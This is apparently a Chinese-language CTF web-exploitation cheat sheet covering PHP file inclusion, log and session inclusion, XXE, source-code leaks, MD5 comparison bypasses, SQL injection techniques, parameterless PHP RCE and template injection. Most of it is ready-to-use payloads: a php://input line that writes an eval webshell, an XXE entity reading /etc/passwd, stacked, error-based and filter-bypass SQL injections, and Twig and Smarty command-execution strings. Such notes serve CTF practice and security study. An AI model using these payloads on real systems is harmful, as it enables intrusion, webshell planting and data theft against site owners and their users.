Real Audio (ram), 文件頭:2E7261FD
Real Media (rm), 文件頭:2E524D46
MPEG (mpg), 文件頭:000001BA
MPEG (mpg), 文件頭:000001B3
Quicktime (mov), 文件頭:6D6F6F76
Windows Media (asf), 文件頭:3026B2758E66CF11
MIDI (mid), 文件頭:4D546864
常見MIME類型
-
zip
Content-Type: application/x-zip-compressed
騷操作寫馬
https://yn8rt.blog.csdn.net/article/details/119425905
通過對特定組合字符進行操作來拼接出一句話
- 111
- 222
- 333
- 444
小技巧
-
傳文件
ctfshow 169
傳zip改content-type為image/png,然后利用日志包含auto_append_file=/var/log/nginx/access.log
文件包含
常用來寫入shell、命令執行
常用偽協議
https://www.php.net/manual/zh/wrappers.data.php
-
php://input
是一個可以訪問原始數據的只讀流
file_get_contents(php://input)接收post數據//ctfshow 266
php://input <?PHP fputs(fopen('shell.php','w'),<?php eval($_REQUEST[c])?>)?> (寫入shell)
php://input <?php system('whoami');?>
-
php://filter
php://filter/read=convert.base64-encode/resource=xxx.php(讀文件源碼)
php://filter/write=string.rot13/resource=2.php(寫入文件按)
php://filter/resource=flag.php(讀文件源碼)
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php(讀文件源碼)
php://filter/read=convert.quoted-printable-encode/resource=flag.php(讀文件源碼)
compress.zlib://flag.php(讀文件源碼)
-
data://text
data://text/plain,<?php phpinfo();?>(相當于代碼執行)
data://text/plain;base64,xxxxxx(打印內容)
-
zlib://壓縮流
compress.zlib://a.txt(讀文件)
compress.bzip2://file.bz2
日志包含
包含日志文件getshell
- 概述
當沒有上傳點,也沒有url_allow_include()功能時,我們可以考慮包含服務器的日志文件,原理是,當訪問網站時日志會記錄我們的行為,如果訪問連接中包含一句話嗎木馬,也會被記錄到日志中。這時候我們如果知道服務器的日志位置,我們可以去包含這個文件從而拿到shell,關鍵步驟就是找日志存放的物理路徑。
日志路徑
-
linux
-
nginx
/var/log/nginx/access.log
-
session包含(無后綴文件包含)
-
PHP_SESSION_UPLOAD_PROGRESS
參見利用session.upload_progress進行文件包含和反序列化滲透
-
概述
當向服務器上傳一個文件的時候,服務器會把文件上傳的時間以及進度保存在session當中,當上傳文件結束之后就會立即清空session文件中的內容。
如果session.use_strict_mode值默認為0,可以自定義設置Session ID,如果設置PHPSESSID=TGAO,那么對應的文件就會上傳到/tmp/sess_TGAO,可以看出文件后面的字段是可以被控制的
-
基本思路
先向指定頁面構造一個上傳文件的包,然后在包中修改PHP_SESSION_UPLOAD_PROGRESS內容,包含命令執行POST[2],然后對該臨時文件進行包含,然后就可以利用post[2]進行命令執行,要利用2參數在指定路徑下生成一個后門文件,其中有eval()函數執行,然后訪問該文件,POST入想要執行的命令就行
當然,SESSION文件臨時存在,文件上傳完成之后就會進行刪除,所以要利用條件競爭先包含到文件進行命令執行,具體腳本見腳本模塊
包含方法
即使是訪問,如果是從url進行注入范根,內容是經過一次編碼之后記錄到日志文件中的,所以無法進行包含執行語句,不完整。即使編碼之后傳進去,編碼只有進入到PHP中才會進行解碼,但是記錄到日志文件是在進入PHP之前的一個步驟,所以日志文件中還是不可以利用的語句。
但是如果是從UA頭進行注入的,那么內容就不會經過編碼,會直接記錄到日志文件中。
文件開頭exit繞過
(談一談php://filter的妙用)[https://www.leavesongs.com/PENETRATION/php-filter-magic.html]
概述
常見題目形式是寫入文件時在文件頭加一句<?php exit();?>,這樣就無法執行后面的語句,但是通過base64特性可以繞過這個死亡exit。
base64
base64中只包含64個可打印字符,所以如果對內容進行解碼的時候,非base64字符(<>?();)就會被過濾成為phpexit七個字符,但是base64解碼是4個byte一組,所以上傳內容時在前面多加一個字符讓phpexitx解碼錯誤,但是后面的語句還可以正常執行。
php://filter/convert.base64-decode/resource=s1mple.php
XSS
https://www.cnblogs.com/digdeep/p/4695348.htmlXXE
https://blog.csdn.net/qq_52907838/article/details/118030007
-
概念
XXE漏洞全稱XML External Entity Injection 即XML外部實體注入。
XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件和代碼,造成任意文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起Dos攻擊等危害。
XXE漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件。
-
利用
與SQL相似,XXE漏洞也分為有回顯和無回顯
有回顯,可以直接在頁面中看到payload的執行結果或現象。
無回顯,又稱為blind xxe,可以使用外帶數據(OOB)通道提取數據。即可以引用遠程服務器上的XML文件讀取文件。
解析xml在php庫libxml,libxml>=2.9.0的版本中沒有XXE漏洞。
-
例子
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/passwd"> ]> <user><username>&admin;</username><password>123456</password></user> -----------------------------------------------------payload解釋:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 稱為 XML prolog ,用于聲明XML文檔的版本和編碼,是可選的,必須放在文檔開頭。standalone值是yes的時候表示DTD僅用于驗證文檔結構,從而外部實體將被禁用,但它的默認值是no,而且有些parser會直接忽略這一項。
按實體有無參分類,實體分為一般實體和參數實體,一般實體的聲明:<!ENTITY 實體名稱 "實體內容">,引用一般實體的方法:&實體名稱;
外部實體,用來引入外部資源。有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機。
因為將file:///flag命名為admin,所以下面用&admin。
PHP引用外部實體,常見的利用協議:
file://文件絕對路徑 如:file:///etc/passwdhttp://url/file.txtphp://filter/read=convert.base64-encode/resource=xxx.php
源碼泄露
常用備份文件后綴
-
.phps
phps文件就是php的源代碼文件,通常用于提供給用戶(訪問者)查看php代碼,因為用戶無法直接通過瀏覽器看到php文件內容,所以需要用phps文件代替。
它的MIME類型為:text/html, application/x-httpd-php-source, application/x-httpd-php3-source。 -
.rar
-
.zip
www.zip(網站源碼文件)
-
.7z
-
.tar.gz
-
.bak
-
.swp
-
.txt
-
.html
參見ctf/web源碼泄露及利用辦法【總結中】
源碼泄露
.hg源碼泄漏
hg init的時候會生成.hg
工具:dvcs-ripper
rip-hg.pl -v -u http://
.git源碼泄漏
url/.git
.DS_Store文件泄漏
SVN導致文件泄露
.svn
CVS泄漏
vim文件泄露
默認情況下使用vim編程,在修改文件后系統會自動生成一個帶~的備份文件,某些情況下可以對其進行下載查看index.php~
vim中的swp即swap文件,在編輯文件時產生,它是隱藏文件,如果原文件為submit,則它的鏈式文件為.submit.swp,如果文件正常退出,則此文件自動刪除。
WEB-INF/web.xml泄露
[RoarCTF 2019]Easy Java
-
概念
WEB-INF是Java的WEB應用的安全目錄。所謂安全就是客戶端無法訪問,只有服務端可以訪問的目錄。如果想在頁面中直接訪問其中的文件,必須通過web.xml文件對要訪問的文件進行相應映射才能訪問。
Java Servlet 是運行在 Web 服務器或應用服務器上的程序,它是作為來自 Web 瀏覽器或其他 HTTP 客戶端的請求和 HTTP 服務器上的數據庫或應用程序之間的中間層。
-
servlet
使用 Servlet,您可以收集來自網頁表單的用戶輸入,呈現來自數據庫或者其他源的記錄,還可以動態創建網頁。
-
Servlet 執行以下主要任務:
讀取客戶端(瀏覽器)發送的顯式的數據。這包括網頁上的 HTML 表單,或者也可以是來自 applet 或自定義的 HTTP 客戶端程序的表單。
讀取客戶端(瀏覽器)發送的隱式的 HTTP 請求數據。這包括 cookies、媒體類型和瀏覽器能理解的壓縮格式等等。
處理數據并生成結果。這個過程可能需要訪問數據庫,執行 RMI 或 CORBA 調用,調用 Web 服務,或者直接計算得出對應的響應。
發送顯式的數據(即文檔)到客戶端(瀏覽器)。該文檔的格式可以是多種多樣的,包括文本文件(HTML 或 XML)、二進制文件(GIF 圖像)、Excel 等。
發送隱式的 HTTP 響應到客戶端(瀏覽器)。這包括告訴瀏覽器或其他客戶端被返回的文檔類型(例如 HTML),設置 cookies 和緩存參數,以及其他類似的任務。
-
-
包含內容
/WEB-INF/web.xmlWeb應用程序配置文件,描述了servlet和其他得應用組件配置及命名規則
/WEB-INF/classes/包含了站點所有用的class文件,包括servlet class和非servlet class,他們不能包含在.jar文件中(是該目錄不能包含在.jar文件中)
/WEB-INF/lib/存放web應用需要的各種JAR文件,放指僅在這個應用中要求使用的jar
文件,如數據庫驅動jar文件/WEB-INF/src/源碼目錄,按照包名結構放指各個java文件。
/WEB-INF/database.properties數據庫配置文件
/WEB-INF/tags/存放了自定義標簽文件,該目錄并不一定為taags,可以根據自己的喜好和習慣為自己的標簽文件庫命名,當使用自定義的標簽文件庫名稱時,在使用標簽文件時就必須聲明正確的標簽文件庫路徑。
/WEB-INF/jsp/jsp 1.2 以下版本的文件存放位置。改目錄沒有特定的聲明,同樣,可以根據自己的喜好與習慣來命名。此目錄主要存放的是 jsp 1.2 以下版本的文件,為區分 jsp 2.0 文件,通常使用 jsp 命名,當然你也可以命名為 jspOldEdition 。
/WEB-INF/jsp2/與 jsp 文件目錄相比,該目錄下主要存放 Jsp 2.0 以下版本的文件,當然,它也是可以任意命名的,同樣為區別 Jsp 1.2以下版本的文件目錄,通常才命名為 jsp2。
META-INF相當于一個信息包,目錄中的文件和目錄獲得Java 2平臺的認可與解釋,用來配置應用程序、擴展程序、類加載器和服務
manifest.mf文件,在用jar打包時自動生成。 -
利用方法
通過找到web.xml文件,推斷class文件的路徑,最后直接下載class文件,在通過反編譯class文件,得到網站源碼
數據庫泄露
asp+access
- /db/db.mdb
松散比較
PHP 類型比較表
當字符串與數字類型進行比較的時候,會將字符串轉換為數字類型再進行比較
123=='123a'
- intval() 返回參數整數值
常見函數繞過
md5函數繞過
參見MD5繞過的技巧
-
MD5函數特性
$str1 = $_GET['str1']; $str2 = $_GET['str2']; if (md5($str1) == md5($str2)){ die('OK'); }通過構造經過MD5加密后為0e開頭的字符串會被認定為0的科學計數法,不管多少次方都為0,從而達成等價條件
-
MD5值為0e開頭的字符串
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a -
MD5值和雙MD5值開頭都為0e
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM -
sha1值為0e開頭
繞過sha1函數也可以傳數組,弱比較
aaK1STfY
aaO8zKZF
-
-
PHP特性
上面的代碼用到的是==(弱比較、松散比較),現在使用===(嚴格比較)
$str1 = $_GET['str1']; $str2 = $_GET['str2'];if (md5($str1) === md5($str2)) { die('OK'); }強比較不僅比較兩者的值,還會比較兩者的類型
而弱比較進行值比較之前還會先轉化為相同類型- 這時候可以使用傳數組的方法,使得md5函數返回NULL,然后兩false等價,繞過對比
-
MD5碰撞
$str1 = (string)$_GET['str1']; $str2 = (string)$_GET['str2'];if (md5($str1) === md5($str2)) { die('OK'); }有string強制類型轉換,傳數組不可行,這里需要MD5碰撞,給兩個內容不同但是MD5值相同的文件,使用fastcoll進行相同值md5文件生成,非常迅速
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
兩者變成這樣這樣就可以繞過?爆出來的
-
繞過md5()構造攻擊語句
利用字符串生成md5值,md5值某一部分經16進制轉換成為SQl語句閉合,mysql正好把它當作16進制字符串解析,從而造成閉合問題達成注入
select * from 'admin' where password=md5($pass,true)- 常用字段
129581926211651571912466741651878684928md5再16進制為?0D?'or'8
ffifdyopmd5再16進制為'or'6??�
SQL注入
SQL注入一方面主要是考慮如何構造第二個查詢語句,不要局限于第一個語句
右查詢
right join
將返回右表中所有記錄,不管前表中有沒有
堆疊注入
ctfshow 195
-
用法
將所有的語句一次性輸入完畢,否則SQL語句可能出現找不到表名的錯誤
username=0x61646d696e;update`ctfshow_user`set`pass`=0x313131;&password=0x313131
Handler
https://www.cnblogs.com/gaonuoqi/p/12398554.html
ctfshow 225、強網杯2018隨便注
-
概念
mysql除可使用select查詢表中的數據,也可使用handler語句,這條語句使我們能夠一行一行的瀏覽一個表中的數據,不過handler語句并不具備select語句的所有功能。它是mysql專用的語句,并沒有包含到SQL標準中。
-
用法
利用handler方法,其作用是HANDLER ... OPEN語句打開一個表,使其可以使用后續HANDLER ... READ語句訪問,該表對象未被其他會話共享,并且在會話調用HANDLER ... CLOSE或會話終止之前不會關閉,也就是可以通過這種方法直接訪問表中的內容
/api/?username=';show tables;-- -/api/?username=';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;-- -`1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#`
預處理
https://blog.csdn.net/solitudi/article/details/107823398?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160652999219721940215459%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=160652999219721940215459&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_v2~rank_blog_default-1-107823398.pc_v2_rank_blog_default&utm_term=%E5%BC%BA%E7%BD%91%E6%9D%AF&spm=1018.2118.3001.4450
ctfshow 226、ctfshow 228-230、強網杯2018隨便注
-
概念
預編譯語句的優勢在于歸納為:一次編譯、多次運行,省去了解析優化等過程;此外預編譯語句能防止 SQL 注入。 MySQL 預處理語句的支持版本較早,所以我們目前普遍使用的 MySQL 版本都是支持這一語法的。
-
方法
PREPARE name from '[my sql sequece]'; //預定義SQL語句 EXECUTE name; //執行預定義SQL語句 (DEALLOCATE || DROP) PREPARE name; //刪除預定義SQL語句?username=user1';PREPARE sprint from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;EXECUTE sprint;十六進制為(select group_concat(table_name) from information_schema.tables where table_schema=database())
注意,轉十六進制使用https://www.sojson.com/hexadecimal.html,BEJSON有點不準
寬字節注入
-
原理
寬字節占用兩個字節,普通字符占用一個字節,而頁面在解碼的時候將一個寬字節分為兩個普通字節來解碼,導致包含單引號的字節逃逸
%D3%27 導致分開解碼,后面的單引號逃逸
報錯注入
-
floor()
floor()函數作用是返回小于等于該值的最大整數,只保留整數部分
rand()函數作用,生成一個大于等于0,小于所給參數的值,默認生成[0,1)
rand(0)生成偽隨機數,每次生成的隨機數都是一樣的,所以利用這一特點報錯注入
group by函數特性:進行數據整合之前會將每行數據逐條讀入一個虛表中,先根據數據庫中的內容對虛表進行查詢,如果虛表內沒有這一條數據就進行插入操作,如果有就更新count(*)(自己加的函數),經過rand()計算偽隨機數造成查詢插入兩個過程的鍵值不一樣,將0鍵值插入到虛表的1鍵值上導致鍵值重復而產生的報錯
- 用法
floor(rand(0)*2)生成的偽隨機數列為0,1,1,0,1,1(這前六位是固定的)
select null,count(*),group_concat((select database()),floor(rand(0)*2)) as a from information_schema.schemata group by a --+
-
updatexml()
updatexml(XML_DOCUMENT,X_PATH_STRING,new Value)是這個函數的正確用法,當用戶輸入與其格式不符的數據時就會發生報錯,常用方法
updatexml(1,(concat('~',(select database()),'~')),1)
updatexml(1,concat('~',(select(group_concat(left(password,30)))from(H4rDsq1)),'~'),1)# -
extractvalue()
extractvalue(XML_DOCUMENT,X_PATH_String)是這個函數的正確用法
concat是針對以行數據做的拼接,而group_concat是針對列做的數據拼接,且group_concat自動生成逗號。
-
報錯注入顯示字符串長度限制
updatexml函數返回32個字符
利用left和right左右拼接
UPDATE 注入
ctfshow 231
-
概念
不同于平常的查詢語句,注入點出現在更新語句UPDATE中,使得查詢結果能夠展現在列數據庫信息的位置
-
實例
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
payload:password=1'),username=(select group_concat(flagass) from flagaa) where 1=1#&username=1
盲注
Bool盲注
ctfshow 190
-
left($x,y,z)
從字符串x的第y個位置截取z個字符,如果沒有設置z,就默認為從第y個字符截取到末尾
-
chr()
將對應的ascii碼轉為字符
-
ascii()
獲取字符的ascii碼值
與之功能相同的函數是ord() -
ord()
獲取字符的ascii碼值
-
length()
獲取字符串長度
-
substr($string,0,1)
從字符串string的第一個位置截取長度為1的字符串
時間盲注
-
sleep(x)
頁面休眠x秒
-
benchmark(,sha(1))
https://www.cnblogs.com/c1e4r/articles/9060525.html
benchmark是Mysql的一個內置函數,其作用是來測試一些函數的執行速度。benchmark()中帶有兩個參數,第一個是執行的次數,第二個是要執行的函數或者是表達式
通過數次執行后面函數來起到延時的作用
select benchmark(10500000,md5('a'));1.5秒
select benchmark(15000000,md5('a'));2.18秒 -
heavy query
https://www.sqlinjection.net/heavy-query/
顧名思義以就是通過大量的查詢導致查詢時間較長來達到延時的目的,通常選擇一些比較大的表做笛卡爾積運算 -
注意
python2中,/表示浮點數除法,返回一個浮點數結果,//表示整數除法,要引入from __future__ import division
python3中含義不變,不需要引入庫
函數存儲過程
[MySQL——查看存儲過程和函數]https://blog.csdn.net/qq_41573234/article/details/80411079
ctfshow 227
-
查看存儲過程和函數的狀態
show {PROCEDURE | FUNCTION} STATUS [LIKE 'pattern']
SHOW STATUS 語句是 MySQL 的一個擴展。它返回子程序的特征,如數據庫、名字、類型、創建者及創建和修改日期。如果沒有指定樣式,根據使用的語句,所有的存儲程序或存儲函數的信息都會被列出。PROCEDURE 和 FUNCTION 分別表示查看存儲過程和函數;LIKE 語句表示匹配存儲過程或函數的名稱。
-
查看存儲過程和函數的定義
除了SHOW STATUS之外,還可以使用SHOW CREATE語句查看存儲過程和函數的狀態。
SHOW CREATE {PROCEDURE | FUNCTION} sp_name
SHOW CREATE 語句是Mysql 的一個擴展,類似于SHOW CREATE TABLE ,它返回一個可用來重新創建已命名子程序的確切字符串。PROCEDURE 和 FUNCTION分別表示查看存儲過程和函數;LIK語句表示匹配存儲過程或函數的名稱。
-
查看存儲過程和函數的信息
在 MySQL 中,存儲過程和函數的信息存儲在 information_schema 數據庫下的 Routines 表中,可以通過查詢該表的記錄來查詢存儲過程和函數的信息,其基本的語法形式如下:
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='sp_name';
其中,ROUTINE_NAME字段種存儲的是存儲過程和函數的名稱;sp_name參數表示存儲過程或函數的名稱。
其他注
[沒見過的注入?]https://www.gem-love.com/ctf/2283.html#%E4%BD%A0%E6%B2%A1%E8%A7%81%E8%BF%87%E7%9A%84%E6%B3%A8%E5%85%A5
limit 注入(PROCEDURE)
-
PROCEDURE analyse()
https://www.jb51.net/article/99980.htm
是MySQL內置的對MySQL字段值進行統計分析后給出建議的字段類型 -
語法
procesure analyse(max_elements,max_memory)
max_elements
指定每列非重復值的最大值,當超過這個值的時候,MySQL不會推薦enum類型。
max_memory
analyse()為每列找出所有非重復值所采用的最大內存大小。
-
payload
limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
group by 注入
-
概念
group by 用來結合合計函數,根據一個或者多個列對結果集進行分組
文件名注入
-
文件名傳入數據庫,查詢導致注入,見題發揮
payload.bin,寫入一句話,適用于截取文件type并顯示的題
無列名注入
ctfshow 235 236
https://zhuanlan.zhihu.com/p/98206699
-
概述
無列名注入主要是適用于已經獲取到數據表,但無法查詢列的情況下,在大多數 CTF 題目中,information_schema 庫被過濾,使用這種方法獲取列名。
-
操作
payload:`select `3` from (select 1,2,3 union select * from admin)a;`原本的列名是id,username,password,使用第一個select之后就將列名命名為1,2,3,再select * 就會將所有信息輸出但是列名變為1,2,3,所以選中3就是選中了password一列
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-3lCjZDJ4-1653964264389)(.\CTF\wulieming.jpg)] -
換別名
當然,多數情況下,會被過濾。當 不能使用的時候,使用別名來代替:
payload:`select b from (select 1,2,3 as b union select * from admin)a;` -
同時查多個列
payload:`select concat(`2`,x02d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;`
概述Mysql信息
ctfshow 235 236
概述MySQL信息
-
查詢位置1mysql.innodb
持久化統計信息保存在表mysql.innodb_table_stats和mysql.innodb_index_stats
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-nDehSdqO-1653964264391)(./CTF/indb.jpg)]
payload:username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- - &password=\
username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)-- - &password=\
username=,username=(select 2 from(select 1,2,3 union select * from flag23a1 limit 1,1)a)-- - &password=\
-
查詢位置2sys schema
其中
-
sys.schema_auto_increment_columns
可以實現對表自增ID的監控,也可以發現我們可以通過該視圖獲取數據庫的表名信息
payload:-1' union all select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+
-
sys.schema_table_statistics_with_buffer
上一個試圖總并沒有出現的表名在這里出現
payload:?id=-1' union all select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()--+
-
processlist
該表可以讀取正在執行的sql語句,從而得到表名和列名
-
常用函數
- locate(substr,string)
ctfshow 194
返回字符串string第一次出現子字符串的位置-
chr()
將字符轉為16進制
-
replace()
替換內容,可以用來繞過對結果顯示的過濾
-
load_file()
//ctfshow 189
https://www.cnblogs.com/blacksunny/p/8060028.html
知道系統絕對路徑且具有讀取權限
繞過過濾
-
如果limit處逗號被過濾
使用limit 1 offset 0代替
-
如果substr\left\mid中的逗號被過濾
使用from xxx for xxx代替
原來:substr({payload},1,1)
現在:substr({payload} from 1 for 2)[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-sbgvoZEM-1653964264392)(./CTF/fromfor.jpg)]
-
or或者information被過濾
參見概述Mysql信息模塊使用的兩個數據庫(mysql>5.7),sys schema和innodb schema兩個數據庫
-
=和like被過濾
用正則匹配方法regexp()繞過
-
if被過濾
用case when代替
payload:id=1^case%0aascii(substr(database(),1,1))when(102)then 2 else 3 end
-
反斜杠繞過單引號過濾
ctfshow 235
前提是兩個參數可控
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";可以傳password為1\,這樣pass的單引號就被轉義導致將原先后面的語句包括,變為pass='1\'where username =',然后就在username進行注入,需要重新加一個username=,因為原先的變成password的一部分了
payload:# username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=database())-- - &password=\
-
正則沒加/i修飾符
嘗試大小混寫繞過
-
過濾去除匹配項
嘗試雙寫繞過
-
空格過濾
-
()代替
考慮用報錯注入,可以不用空格,select的內容可以用括號()括住,eg:select(database())
-
/**/代替
-
/*!...*/內聯注釋代替
在mysql中 /*! ....*/ 不是注釋,mysql為了保持兼容,它把一些特有的僅在mysql上用的語句放在/*!....*/中,這樣這些語句如果在其他數據庫中是不會被執行,但在mysql中它會執行
-
%0a\%0b\%0c...
-
-
敏感字符過濾
url編碼繞過?
`Test=char(101)+char(97)+char(115)+char(116)`
十六進制轉換繞過
ascii編碼繞過 -
等價符號替代
=–>like
^–>or–>||(||在MySQL中可以起到拼接的作用)
&&–>and
小技巧
-
group by + with rollup
知識盒子騷操作總結
group by將結果集中的數據行根據選擇列的值進行邏輯分組
with rollup(group by 后可以跟with rollup,表示在進行分組統計的基礎上再次進行匯總統計) -
where的替代
與where具有相同作用的還有on、like
-
快速判斷注入類型
使用 2+2 如果正常查詢4內容,就是數字,反之字符
-
select to_base64()
將查詢內容轉換為base64進行輸出
-
十六進制
數據庫中十六進制也可以用來當作鍵值
-
^
數據庫中可以在查詢值中用異或運算符
-
or
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
可以使用0'or(id=26)and'a'='a進行繞過,用或條件,用于空格所有被過濾,無法創造一個完整的新語句,就得利用之前給到的語句。
-
where xxxx=0查詢所有數據
select * from test where username =0 可以查出表中所有的記錄,因為在username和0比較的時候進行弱比較,字符串轉為0,這樣一來就構成了0=0,所以查詢成功
-
regexp
mysql可以使用正則表達式對結果進行過濾
無參數RCE
什么是無參數RCE
前言
總體利用思路:
- 超全局變量進行bypass,進行RCE
- 進行任意文件讀取
概念
通常情況下我們都是利用一句話木馬傳參數進行getshell,eval(system('ls /'));
但是如果對GET參數進行正則校驗就會將輸入的參數過濾掉
/[^\W]+\((?R)?\)/只允許執行a(b(c()));或者a();,但是不允許a('123'),沒有參數進行命令執行就會變得困難。
-
超全局變量
PHP中許多預定義變量都是"超全局的",這意味著他們在一個腳本的全部作用域中都可用,在函數或者方法中無需執行flobal $variable;就可以訪問他它們。
使用
getenv辦法
-
getenv
獲取一個環境變量的值,可以獲取當前環境變量
-
array_rand()
從數組中隨機抽取一個或者多個單元(偽隨機),這樣獲取的是數組中的鍵
-
array_flip()
交換數組中的鍵和值
getallheaders()
-
getallheaders()
在apache2環境中
可以將獲取http頭中的所有信息,而在http請求頭中我們可以自定義屬性和其值,就像添加XFF那樣,添加sky:system('ls /tmp')進行RCE
get_defined_vars()
使用getallheaders()其實具有局限性,因為它是apache2函數,如果目標中間件部位apache,那么這種方法就會失效,更好的選擇是ger_defined_vars()
這種方法可以將變量進行回顯,包括全局變量$_GET,$_POST,$_FILES,$_COOKIE
%url%/index.php?code=var_dump(current(get_defined_vars()));&sky=123這樣就會把sky參數回顯出來,利用這一特性,我們可以給參數賦惡意值,然后使用此函數對相應參數進行打印執行。
current() 返回數組中的當前單元, 默認取第一個值。
為了繞過get,post,cookie三種參數的多重過濾,可以從files參數下手,前輩寫的腳本如下
import requests from io import BytesIOpayload = "system('ls /tmp');".encode('hex') files = {payload: BytesIO('sky cool!') }r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)print r.contentsession_id()
該函數可以獲取/設置當前會話id。PHPSESSID允許字母和數字出現。
-
hex2bin
將十六進制轉換為ASCII字符
echo hex2bin("48656c6c6f20576f726c6421"); Hello World!? 5044383959474e6864434171594473 ? PD89YGNhdCAqYDs <?=`cat *`;
dirname()&chdir()
如果不能RCE便嘗試能不能直接讀取文件,要進行目錄遍歷
-
getcwd()
用于獲取當前目錄
?code=var_dump(getcwd()); string(13) "/var/www/html" -
scandir()
這個函數其實在sql注入中也用過
?code=var_dump(scandir(getcwd()));array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" } -
dirname()
返回路徑中的目錄部分,也就是說將路徑中的最后一部分去掉
目錄回溯,上級目錄
?code=var_dump(scandir(dirname(getcwd()))); -
chdir()
更改當前目錄為指定路徑
chdir(string $directory):bool
chdir(dirname(getcwd()))這樣就可以切換當前目錄到上級目錄
-
localeconv()
返回一包含本地數字及貨幣格式信息的數組,數組第一項是.,可以代表當前目錄的意思
-
current()
返回數組中的當前單元,默認取第一個值,這個函數和上一個函數一結合,返回的就是.
這個函數的別名是pos()
-
next()
將數組內部指針指向前移動一位
-
end()
將數組內部指針指向最后一個單元
-
each()
返回數組中當前的鍵/值對,并將數組指針向前移動一位
-
prev()
將數組的內部指針倒回一位
-
reset()
將數組的內部指針指向第一個單元
-
session_start()
session_start()告訴PHP使用session,php默認不主動使用session
-
shell_exec()
縮寫就是(``),其中的內容可以被執行,適用于
PHPINFO()關注點
-
auto_append_file
自動包含文件
JAVA
Javan基礎
servlet
Servlet是在 Java Web容器中運行的小程序,通常我們用Servlet來處理一些較為復雜的服務器端的業務邏輯。Servlet是Java EE的核心,也是所有的MVC框架的實現的根本!Struts 2
-
概念
Struts是一個基于MVC設計模式的Web應用框架,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器來建立模型與視圖的數據交互。Struts2是Struts的下一代產品,是在Struts1和WebWork的技術基礎上進行了合并都得1全新Struts2框架,其全新的Struts2的體系結構與Struts1的體系結構差別巨大。Struts2以WebWork位核心,采用攔截器的機制來處理用戶的請求,這樣的設計也使得業務邏輯控制器能夠與ServletAPI完全脫離開,所以Struts2可以理解位WebWork都得更新產品。
S2-001
模板注入
思路圖
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-vC91yQGv-1653964264393)(https://gitee.com/i404notforget/sprint/raw/master/img/20210611200627.png)]
常用payload
-
Twig(PHP模板語言)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
-
smarty
在相應注入點{{system('cat /flag')}}
暴力破解
burpsuite
爆破模式
-
sniper
適用于單個爆破位置,將所有payload在同一位置進行嘗試
-
battering ram(攻城錘)
多個位置,同時使用相同payload
-
pitch fork(草叉)
多個位置,每個位置都需要配置字典,爆破時各個位置分別使用自己列表中相同位置的payload
position1:1,2 position2:3,4=>1,3 =>2,4 -
cluster bomb
多個位置,使用笛卡爾乘積嘗試payload,遍歷每一種可能的請求結果
position1:1,2 position2:3,4=>1,3 =>1,4 =>2,3 =>2,4
payload type
-
custom iterator(自定義迭代器)
支持不同位置payload進行拼接,分別設置不同位置使用多個payload,然后拼接起來統一進行處理
使用迭代器的時候攻擊位置為1就可以了
payload processing
- 增加一種新的處理(編碼)方式對payload進行處理
流量包分析
(CTF-流量包分析get flag思路)[https://www.jianshu.com/p/a5dc4f6cf3f8]
binwalk判斷是否傳輸文件
binwalk xxx.xxx查看具體信息
binwalk -e xxx.xxx將其中的文件釋放
file 查看具體文件類型
file xxx.xxx
strings提取文件內字符
strings xxx.xxx|grep -a flag提取flag字樣字符
strings xxx.xxx | base64 -dbase64解碼獲得的內容
常見命令
linux
-
讀文件
-
cat
正序讀文件,從第一行
-
tac
反向讀文件,從尾行向上讀取
-
